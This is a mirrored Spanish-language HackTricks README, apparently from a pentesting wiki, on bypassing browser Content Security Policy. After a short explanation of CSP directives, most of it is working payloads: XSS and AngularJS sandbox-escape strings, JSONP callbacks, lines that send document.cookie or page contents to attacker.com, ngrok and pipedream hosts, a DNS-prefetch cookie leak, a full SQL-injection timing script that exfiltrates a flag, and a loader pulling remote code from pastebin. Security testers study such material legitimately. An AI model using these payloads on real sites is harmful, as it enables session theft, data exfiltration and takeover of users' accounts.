mirror of https://github.com/carlospolop/hacktricks synced 2024-11-27 07:01:09 +00:00

History

carlospolop 63bd9641c0 f		2023-06-05 20:33:24 +02:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md	f	2023-06-05 20:33:24 +02:00
README.md	f	2023-06-05 20:33:24 +02:00

README.md

Bypass de la Política de Seguridad de Contenido (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Consigue el swag oficial de PEASS y HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

¿Qué es CSP?

La Política de Seguridad de Contenido o CSP es una tecnología integrada en los navegadores que ayuda a protegerse de ataques como el cross-site scripting (XSS). Enumera y describe las rutas y fuentes desde las cuales el navegador puede cargar de forma segura recursos. Los recursos pueden incluir imágenes, marcos, JavaScript y más. Aquí hay un ejemplo de recursos que se permiten cargar y ejecutar en línea desde el dominio local (self) y permiten funciones de ejecución de código de cadena como eval, setTimeout o setInterval:

La Política de Seguridad de Contenido se implementa mediante encabezados de respuesta o elementos meta de la página HTML. El navegador sigue la política recibida y bloquea activamente las violaciones a medida que se detectan.

Implementado mediante encabezado de respuesta:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implementado a través de la etiqueta meta:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Encabezados

Content-Security-Policy
Content-Security-Policy-Report-Only Este no bloqueará nada, solo enviará informes (útil en entornos Pre).

Definición de recursos

CSP funciona restringiendo los orígenes desde donde se pueden cargar contenido activo y pasivo. Además, puede restringir ciertos aspectos del contenido activo, como la ejecución de javascript en línea y el uso de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directivas

script-src: Esta directiva especifica las fuentes permitidas para JavaScript. Esto incluye no solo las URL cargadas directamente en elementos, sino también cosas como los controladores de eventos de script en línea (onclick) y las hojas de estilo XSLT que pueden desencadenar la ejecución de scripts.
default-src: Esta directiva define la política para obtener recursos de forma predeterminada. Cuando las directivas de búsqueda están ausentes en la cabecera CSP, el navegador sigue esta directiva de forma predeterminada.
Child-src: Esta directiva define los recursos permitidos para los trabajadores web y los contenidos de marcos incrustados.
connect-src: Esta directiva restringe las URL para cargar utilizando interfaces como fetch, websocket, XMLHttpRequest.
frame-src: Esta directiva restringe las URL a los marcos que se pueden llamar.
frame-ancestors: Esta directiva especifica las fuentes que pueden incrustar la página actual. Esta directiva se aplica a <frame>, <iframe>, <object>, <embed>, o <applet>. Esta directiva no se puede utilizar en etiquetas y se aplica solo a recursos no HTML.
img-src: Define las fuentes permitidas para cargar imágenes en la página web.
font-src: Esta directiva especifica las fuentes válidas para las fuentes cargadas mediante @font-face.
manifest-src: Esta directiva define las fuentes permitidas de los archivos de manifiesto de la aplicación.
media-src: Define las fuentes permitidas desde donde se pueden cargar objetos multimedia.
object-src: Define las fuentes permitidas para los elementos <object>, <embed>, y <applet>.
base-uri: Define las URL permitidas que se pueden cargar utilizando un elemento.
form-action: Esta directiva enumera los puntos finales válidos para la presentación de etiquetas.
plugin-types: Define límites en los tipos de mime que una página puede invocar.
upgrade-insecure-requests: Esta directiva indica a los navegadores que reescriban los esquemas de URL, cambiando HTTP a HTTPS. Esta directiva puede ser útil para sitios web con grandes cantidades de URL antiguas que necesitan ser reescritas.
sandbox: La directiva sandbox habilita un sandbox para el recurso solicitado similar al atributo sandbox. Aplica restricciones a las acciones de una página, incluyendo la prevención de ventanas emergentes, la prevención de la ejecución de complementos y scripts, y la aplicación de una política de mismo origen.

Fuentes

*: Esto permite cualquier URL excepto los esquemas data:, blob:, filesystem:
self: Esta fuente define que se permite la carga de recursos en la página desde el mismo dominio.
data: Esta fuente permite la carga de recursos a través del esquema de datos (por ejemplo, imágenes codificadas en Base64)
none: Esta directiva no permite cargar nada desde ninguna fuente.
unsafe-eval: Esto permite el uso de eval() y métodos similares para crear código a partir de cadenas. No es una práctica segura incluir esta fuente en ninguna directiva. Por la misma razón, se llama insegura.
unsafe-hashes: Esto permite habilitar controladores de eventos en línea específicos.
unsafe-inline: Esto permite el uso de recursos en línea, como elementos en línea, URL de javascript:, controladores de eventos en línea y elementos en línea. Nuevamente, esto no se recomienda por razones de seguridad.
nonce: Una lista blanca para scripts en línea específicos utilizando un nonce criptográfico (número utilizado una vez). El servidor debe generar un valor de nonce único cada vez que transmite una política.
sha256-<hash>: Lista blanca de scripts con un hash sha256 específico.
strict-dynamic: Permite al navegador cargar y ejecutar nuevas etiquetas JavaScript en el DOM desde cualquier fuente de script que haya sido previamente incluida en una valor "nonce" o "hash".
host: Indica un host como example.com

Reglas CSP inseguras

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Carga útil de trabajo: "/><script>alert(1);</script>

self + 'unsafe-inline' a través de Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Carga útil funcional:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si de alguna manera puedes hacer que un código JS permitido cree una nueva etiqueta de script en el DOM con tu código JS, porque un script permitido lo está creando, la nueva etiqueta de script podrá ser ejecutada.

Comodín (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Carga útil funcional:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Falta de object-src y default-src

{% hint style="danger" %} Parece que esto ya no funciona {% endhint %}

Content-Security-Policy: script-src 'self' ;

Cargas útiles de trabajo:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Subida de archivos + 'self'

En algunas políticas de seguridad de contenido (CSP), se permite la carga de archivos solo desde el mismo dominio (self). Esto significa que si intentamos cargar un archivo desde otro dominio, la política CSP lo bloqueará. Sin embargo, si encontramos una vulnerabilidad de subida de archivos en el mismo dominio, podemos cargar un archivo malicioso y luego incluirlo en la página web utilizando la directiva script-src de CSP.

Para hacer esto, primero debemos cargar un archivo malicioso en el mismo dominio. Luego, podemos incluirlo en la página web utilizando la directiva script-src de CSP de la siguiente manera:

<script src="https://dominio-malicioso.com/malicious.js"></script>

De esta manera, podemos ejecutar código malicioso en la página web, incluso si la política CSP solo permite la carga de archivos desde el mismo dominio (self).

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si puedes subir un archivo JS puedes saltarte esta CSP:

Payload funcional:

"/>'><script src="/uploads/picture.png.js"></script>

Sin embargo, es altamente probable que el servidor esté validando el archivo cargado y solo permita cargar un tipo determinado de archivos.

Además, incluso si pudieras cargar un código JS dentro de un archivo usando una extensión aceptada por el servidor (como: script.png), esto no sería suficiente porque algunos servidores como el servidor Apache seleccionan el tipo MIME del archivo en función de la extensión y los navegadores como Chrome rechazarán ejecutar código Javascript dentro de algo que debería ser una imagen. "Afortunadamente", hay errores. Por ejemplo, de un CTF aprendí que Apache no conoce la extensión .wave, por lo tanto, no la sirve con un tipo MIME como audio/*.

A partir de aquí, si encuentras un XSS y una carga de archivos, y logras encontrar una extensión mal interpretada, podrías intentar cargar un archivo con esa extensión y el contenido del script. O, si el servidor está verificando el formato correcto del archivo cargado, crear un políglota (algunos ejemplos de políglotas aquí).

Endpoints de terceros + ('unsafe-eval')

{% hint style="warning" %} Para algunos de los siguientes payloads unsafe-eval ni siquiera es necesario. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Cargar una versión vulnerable de Angular y ejecutar JS arbitrario:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
  <script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
  </script>
  <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` (mira este post):

{% hint style="info" %} El post muestra que se puede cargar todas las bibliotecas desde cdn.cloudflare.com (o cualquier otro repositorio de bibliotecas JS permitido), ejecutar todas las funciones agregadas de cada biblioteca y verificar qué funciones de qué bibliotecas devuelven el objeto window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
 {{$on.curry.call().alert(1)}}
 {{[].empty.call().alert([].empty.call().document.domain)}}
 {{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{[].erase.call().alert('xss')}}
</div>

Endpoints de terceros + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Escenarios como este, donde script-src está configurado en self y un dominio en particular que está en la lista blanca, pueden ser evadidos utilizando JSONP. Los puntos finales de JSONP permiten métodos de devolución de llamada inseguros que permiten a un atacante realizar XSS, el payload de trabajo es:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contiene puntos finales JSONP listos para usar para eludir CSP en diferentes sitios web.

La misma vulnerabilidad ocurrirá si el punto final de confianza contiene una redirección abierta porque si el punto final inicial es confiable, las redirecciones son confiables.

Bypass de ruta de carpeta

Si la política CSP apunta a una carpeta y se usa %2f para codificar "/", todavía se considera que está dentro de la carpeta. Todos los navegadores parecen estar de acuerdo con eso.
Esto lleva a una posible elusión, usando "%2f..%2f" si el servidor lo decodifica. Por ejemplo, si CSP permite http://ejemplo.com/empresa/ puede eludir la restricción de carpeta y ejecutar: http://ejemplo.com/empresa%2f..%2fatacante/archivo.js

Ejemplo en línea: https://jsbin.com/werevijewa/edit?html,output

Ejecución de JS en iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

Falta de base-uri

Si falta la directiva base-uri se puede abusar de ella para realizar una inyección de marcado colgante.

Además, si la página está cargando un script usando una ruta relativa (como /js/app.js) usando un Nonce, se puede abusar de la etiqueta base para hacer que cargue el script desde su propio servidor logrando un XSS.
Si la página vulnerable se carga con httpS, use una URL httpS en la base.

<base href="https://www.attacker.com/">

Eventos de AngularJS

Dependiendo de la política específica, el CSP bloqueará los eventos de JavaScript. Sin embargo, AngularJS define sus propios eventos que se pueden utilizar en su lugar. Cuando se está dentro de un evento, AngularJS define un objeto especial $event, que simplemente hace referencia al objeto de evento del navegador. Puede utilizar este objeto para realizar un bypass de CSP. En Chrome, hay una propiedad especial en el objeto $event/event llamada path. Esta propiedad contiene una matriz de objetos que hace que se ejecute el evento. La última propiedad es siempre el objeto window, que podemos utilizar para realizar un escape de sandbox. Al pasar esta matriz al filtro orderBy, podemos enumerar la matriz y utilizar el último elemento (el objeto window) para ejecutar una función global, como alert(). El siguiente código demuestra esto:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Encuentra otros bypasses de Angular en https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS y dominio en lista blanca

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Si la aplicación está utilizando angular JS y los scripts se cargan desde un dominio permitido en la lista blanca, es posible saltarse esta política CSP llamando a funciones de devolución de llamada y clases vulnerables. Para obtener más detalles, visita este increíble repositorio de Git.

Cargas útiles funcionales:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Otros puntos finales de ejecución arbitraria JSONP se pueden encontrar aquí (algunos de ellos fueron eliminados o corregidos).

Bypass CSP con markup colgante

Lee cómo aquí.

'unsafe-inline'; img-src *; a través de XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' significa que se puede ejecutar cualquier script dentro del código (XSS puede ejecutar código) y img-src * significa que se pueden usar en la página web cualquier imagen de cualquier recurso.

Se puede evadir esta CSP exfiltrando los datos a través de imágenes (en esta ocasión, el XSS abusa de un CSRF donde una página accesible por el bot contiene una inyección SQL, y extrae la bandera a través de una imagen):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

También se puede abusar de esta configuración para cargar código javascript insertado dentro de una imagen. Si, por ejemplo, la página permite cargar imágenes de Twitter, se podría crear una imagen especial, subirla a Twitter y abusar de "unsafe-inline" para ejecutar un código JS (como un XSS regular) que cargará la imagen, extraerá el JS de ella y lo ejecutará: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Con Service Workers

La función importScripts de los service workers no está limitada por CSP:

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Inyección de Política

Investigación: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un parámetro enviado por ti está siendo pegado dentro de la declaración de la política, entonces podrías alterar la política de alguna manera que la haga inútil. Podrías permitir scripts 'unsafe-inline' con cualquiera de estos bypasses:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Porque esta directiva sobrescribirá las directivas script-src existentes.
Puedes encontrar un ejemplo aquí: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

En Edge es mucho más simple. Si puedes agregar esto en el CSP: ;_ Edge eliminará toda la política.
Ejemplo: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; a través de XSS (iframe) - Ataque de tiempo

Observa la falta de la directiva 'unsafe-inline'.
Esta vez puedes hacer que la víctima cargue una página en tu control a través de XSS con un <iframe>. Esta vez vas a hacer que la víctima acceda a la página de donde quieres extraer información (CSRF). No puedes acceder al contenido de la página, pero si de alguna manera puedes controlar el tiempo que la página necesita para cargarse puedes extraer la información que necesitas.

Esta vez se va a extraer una bandera, cada vez que se adivine correctamente un carácter a través de SQLi la respuesta tardará más tiempo debido a la función sleep. Entonces, podrás extraer la bandera:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
	x = escape(x.replace(/_/g, '\\_'));
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`; 
}

function gen2(x) {
	x = escape(x);
	return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) { 
	let h = performance.now();
	f.location = (end ? gen2(word) : gen(word));
	await new Promise(r => {
		g.onload = r; 
	});
	let diff = performance.now() - h;
	return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
	let prefix = 'nn9ed{';
	while (true) {
		let i = 0;
		for (i;i<alphabet.length;i++) {
			let c = alphabet[i];
			let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
			console.log(prefix, c, t);
			if (t) {
				console.log('FOUND!')
				prefix += c;
				break;
			}
		}
		if (i==alphabet.length) {
			console.log('missing chars');
			break;
		}
		let t = await query(prefix+'}', true);
		if (t) {
			prefix += '}';
			break;
		}
	}
	new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
	console.log(prefix);
}

run();
</script>

CVE-2020-6519

CVE-2020-6519 es una vulnerabilidad de omisión de política de seguridad de contenido (CSP) que afecta a varios navegadores web. Esta vulnerabilidad permite a un atacante ejecutar código malicioso en un sitio web al que se le ha aplicado una política de CSP. El atacante puede explotar esta vulnerabilidad mediante la inyección de código malicioso en un sitio web vulnerable y, a continuación, engañar a un usuario para que visite ese sitio web. Cuando el usuario visita el sitio web, el código malicioso se ejecuta en su navegador, lo que permite al atacante robar información confidencial o realizar otras acciones maliciosas.

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Fuga de información CSP + Iframe

Imagina una situación en la que una página redirige a otra página con un secreto dependiendo del usuario. Por ejemplo, el usuario admin que accede a redirectme.domain1.com es redirigido a adminsecret321.domain2.com y puedes causar un XSS al admin.
Además, las páginas redirigidas no están permitidas por la política de seguridad, pero la página que redirige sí lo está.

Puedes filtrar el dominio al que se redirige el admin a través de:

violación de CSP
reglas de CSP.

La violación de CSP es una filtración instantánea. Todo lo que se necesita hacer es cargar un iframe que apunte a https://redirectme.domain1.com y escuchar el evento securitypolicyviolation que contiene la propiedad blockedURI que contiene el dominio del URI bloqueado. Esto se debe a que https://redirectme.domain1.com (permitido por CSP) redirige a https://adminsecret321.domain2.com (bloqueado por CSP). Esto hace uso de un comportamiento indefinido de cómo manejar iframes con CSP. Chrome y Firefox se comportan de manera diferente en este aspecto.

Cuando conoces los caracteres que pueden componer el subdominio secreto, también puedes usar una búsqueda binaria y verificar cuándo CSP bloqueó el recurso y cuándo no, creando diferentes dominios prohibidos en CSP (en este caso, el secreto puede tener la forma doc-X-XXXX.secdrivencontent.dev).

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Truco de aquí.

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Tecnologías inseguras para saltarse CSP

Sobrecarga del búfer de respuesta de PHP

PHP es conocido por almacenar en búfer la respuesta a 4096 bytes por defecto. Por lo tanto, si PHP muestra una advertencia, proporcionando suficientes datos dentro de las advertencias, la respuesta se enviará antes del encabezado CSP, lo que hace que el encabezado sea ignorado.
Entonces, la técnica consiste básicamente en llenar el búfer de respuesta con advertencias para que el encabezado CSP no se envíe.

Idea de este writeup.

Reescribir la página de error

A partir de este writeup, parece que fue posible saltarse una protección CSP cargando una página de error (potencialmente sin CSP) y reescribiendo su contenido.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
    a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME es una técnica que abusa de un XSS (o XSS altamente limitado) en un endpoint de una página para abusar de otros endpoints del mismo origen. Esto se hace cargando el endpoint vulnerable desde una página del atacante y luego actualizando la página del atacante al endpoint real en el mismo origen que se quiere abusar. De esta manera, el endpoint vulnerable puede usar el objeto opener en el payload para acceder al DOM del endpoint real a abusar. Para obtener más información, consulte:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Además, wordpress tiene un endpoint JSONP en /wp-json/wp/v2/users/1?_jsonp=data que reflejará los datos enviados en la salida (con la limitación de solo letras, números y puntos).

Un atacante puede abusar de ese endpoint para generar un ataque SOME contra WordPress y incrustarlo dentro de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> tenga en cuenta que este script se cargará porque está permitido por 'self'. Además, y debido a que WordPress está instalado, un atacante podría abusar del ataque SOME a través del endpoint callback vulnerable que bypasses the CSP para dar más privilegios a un usuario, instalar un nuevo plugin...
Para obtener más información sobre cómo realizar este ataque, consulte https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Bypasses de exfiltración de CSP

Si hay un CSP estricto que no le permite interactuar con servidores externos, hay algunas cosas que siempre puede hacer para exfiltrar la información.

Location

Simplemente puede actualizar la ubicación para enviar al servidor del atacante la información secreta:

var sessionid = document.cookie.split('=')[1]+"."; 
document.location = "https://attacker.com/?" + sessionid;

Etiqueta meta

Podrías redirigir mediante la inyección de una etiqueta meta (esto es solo una redirección, no filtrará contenido)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Para cargar páginas más rápido, los navegadores resuelven previamente los nombres de host en direcciones IP y los almacenan en caché para su uso posterior.
Puede indicar a un navegador que resuelva previamente un nombre de host con: <link reol="dns-prefetch" href="something.com">

Podría abusar de este comportamiento para filtrar información sensible a través de solicitudes DNS:

var sessionid = document.cookie.split('=')[1]+"."; 
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Otra forma:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Para evitar que esto suceda, el servidor puede enviar la cabecera HTTP:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Aparentemente, esta técnica no funciona en navegadores sin cabeza (bots) {% endhint %}

WebRTC

En varias páginas se puede leer que WebRTC no comprueba la política connect-src del CSP.

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

Sin embargo, parece que ya no es posible (o al menos no tan fácil).

Si sabes cómo exfiltrar información con WebRTC, por favor envía una solicitud de extracción.

Verificación de políticas CSP en línea

Creación automática de CSP

https://csper.io/docs/generating-content-security-policy

Referencias

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
Obtén el swag oficial de PEASS y HackTricks
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
Comparte tus trucos de hacking enviando solicitudes de extracción al repositorio de hacktricks y al repositorio de hacktricks-cloud.

README.md Unescape Escape

Bypass de la Política de Seguridad de Contenido (CSP)

¿Qué es CSP?

Encabezados

Definición de recursos

Directivas

Fuentes

Reglas CSP inseguras

'unsafe-inline'

self + 'unsafe-inline' a través de Iframes

'unsafe-eval'

strict-dynamic

Comodín (*)

Falta de object-src y default-src

Subida de archivos + 'self'

Endpoints de terceros + ('unsafe-eval')

Payloads usando Angular + una biblioteca con funciones que devuelven el objeto window (mira este post):

Endpoints de terceros + JSONP

Bypass de ruta de carpeta

Ejecución de JS en iframes

Falta de base-uri

Eventos de AngularJS

AngularJS y dominio en lista blanca

Bypass CSP con markup colgante

'unsafe-inline'; img-src *; a través de XSS

Con Service Workers

Inyección de Política

Chrome

Edge

img-src *; a través de XSS (iframe) - Ataque de tiempo

CVE-2020-6519

Fuga de información CSP + Iframe

Tecnologías inseguras para saltarse CSP

Sobrecarga del búfer de respuesta de PHP

Reescribir la página de error

SOME + 'self' + wordpress

Bypasses de exfiltración de CSP

Location

Etiqueta meta

DNS Prefetch

WebRTC

Verificación de políticas CSP en línea

Creación automática de CSP

Referencias

README.md

Payloads usando Angular + una biblioteca con funciones que devuelven el objeto `window` (mira este post):